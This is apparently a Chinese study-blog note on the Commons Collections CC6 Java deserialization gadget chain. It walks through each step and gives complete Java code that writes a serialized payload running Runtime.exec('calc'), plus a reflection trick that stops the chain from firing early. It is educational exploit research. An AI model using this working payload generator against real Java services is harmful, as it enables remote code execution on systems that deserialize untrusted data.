CC6链

学习文章:https://drun1baby.top/2022/06/11/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8703-CC6%E9%93%BE/

环境搭建

CC6链不受 JDK 版本约束

如果用一句话介绍一下 CC6,那就是 CC6 = CC1 + URLDNS

CC6链和CC1的尾部是相同的,只是出发的起点不同,所以可以直接使用CC1链的环境

可以看CC1链的笔记:https://yschen20.github.io/2025/11/05/CC1%E9%93%BE%EF%BC%88TransformedMap%E7%89%88%EF%BC%89/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

分析构造链子

第一步

和CC1链一样,因为Runtime类不能序列化,所以要利用反射才能调用到getRuntimeexec方法,去找到Transformer接口中的ChainedTransformerConstantTransformerInvokerTransformer这三个类

  • ChainedTransformer:循环调用数组中每个对象的transform方法,将前一个的输出作为后一个的输入
  • ConstantTransformer:类中的transform方法会忽略输入的参数,始终返回预设的常量iConstant
  • InvokerTransformer:类中的transform方法可以反射调用Runtime类中的方法执行命令
1
2
3
4
5
6
7
8
Class<Runtime> c = Runtime.class;
Transformer[] t = new Transformer[]{
new ConstantTransformer(c),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);

第二步

然后也是和CC1链一样,要找调用了transform方法的类,然后找到LazyMap类中的get()方法

1
2
Map m = new HashMap();
LazyMap decorate = (LazyMap) LazyMap.decorate(m,chainedTransformer);

第三步

然后继续找谁调用了get()方法,可以找到TiedMapEntry类中的getvalue()方法

image-20260107110614034

然后可以继续找到TiedMapEntry类中的hashCode()方法调用了getvalue()方法

image-20260107110738003

然后看TiedMapEntry类这个类的构造函数

image-20260107111928590

要传入一个map和一个keymap就可以传入decoratekey可以先用new String()创建个空字符串填充

1
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, new String());

第四步

接着找调用hashCode的类,这就想到了之前学的第一个链子URLDNS链

笔记:https://yschen20.github.io/2025/10/21/URLDNS%E9%93%BE/#URLDNS%E9%93%BE%E5%88%86%E6%9E%90

所以就可以对HashMap类的readObject方法进行重写,从而可以调用到hash函数,进而调用到hashCode方法

到此整个CC6链就分析好了

1
2
3
HashMap<Object, Object> map = new HashMap<>();
map.put(tiedMapEntry, "123");
serialize(map);

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws Exception{
Class<Runtime> c = Runtime.class;
Transformer[] t = new Transformer[]{
new ConstantTransformer(c),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);
Map m = new HashMap<>();
LazyMap decorate = (LazyMap) LazyMap.decorate(m,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, new String());
HashMap<Object, Object> map = new HashMap<>();
map.put(tiedMapEntry, "123");
serialize(map);
}



public static void serialize(Object o) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(o);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object oic = ois.readObject();
return oic;
}

}

image-20260107133333416

这里有个和在调URLDNS链同样的问题,就是必须使用put方法传值,但是使用put方法就会调用到hash函数进而调用到hashCode,就会导致链子会在序列化的时候就会被调用,在反序列化的时候不会被调用了,具体可以看URLDNS链的分析

URLDNS链的分析:https://yschen20.github.io/2025/10/21/URLDNS%E9%93%BE/#URLDNS%E9%93%BE%E5%88%86%E6%9E%90

解决方法

跟进put方法,这里会调用hash函数,并传入key作为参数

image-20260107142106484

继续跟进hash函数,这里如果key不为null,就会调用hashCode,所以要想不提前触发hashCode方法,就可以让keynull

image-20260107142206122

回来看链子,下断点调试会发现在执行到put这个方法的时候,tiedMapEntry不是为null

image-20260107143535560

这是因为在实例化的时候,tiedMapEntrymap是有值的,就是decorate,所以就会提前触发hashCode方法

1
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, new String());

所以就要让keynull,可以直接给一个空的hashMap实例化的对象就行,可以利用反射来修改map,因为这是个私有属性

1
2
3
4
5
Class ti = tiedMapEntry.getClass();
Field map1 = ti.getDeclaredField("map");
map1.setAccessible(true);
map1.set(tiedMapEntry, new HashMap());
map.put(tiedMapEntry, "123");

image-20260107144209081

这就可以绕过了,然后要让key为有值的tiedMapEntry,所以再进行一次复制就可以了

1
map1.set(tiedMapEntry, decorate);

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws Exception{
Class<Runtime> c = Runtime.class;
Transformer[] t = new Transformer[]{
new ConstantTransformer(c),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);
Map m = new HashMap<>();
LazyMap decorate = (LazyMap) LazyMap.decorate(m,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, new String());
HashMap<Object, Object> map = new HashMap<>();
Class ti = tiedMapEntry.getClass();
Field map1 = ti.getDeclaredField("map");
map1.setAccessible(true);
map1.set(tiedMapEntry, new HashMap());
map.put(tiedMapEntry, "123");
map1.set(tiedMapEntry, decorate);

serialize(map);
unserialize("ser.bin");

}

public static void serialize(Object o) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(o);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object oic = ois.readObject();
return oic;
}

}


CC6链
https://yschen20.github.io/2026/01/07/CC6链/
作者
Suzen
发布于
2026年1月7日
更新于
2026年1月7日
许可协议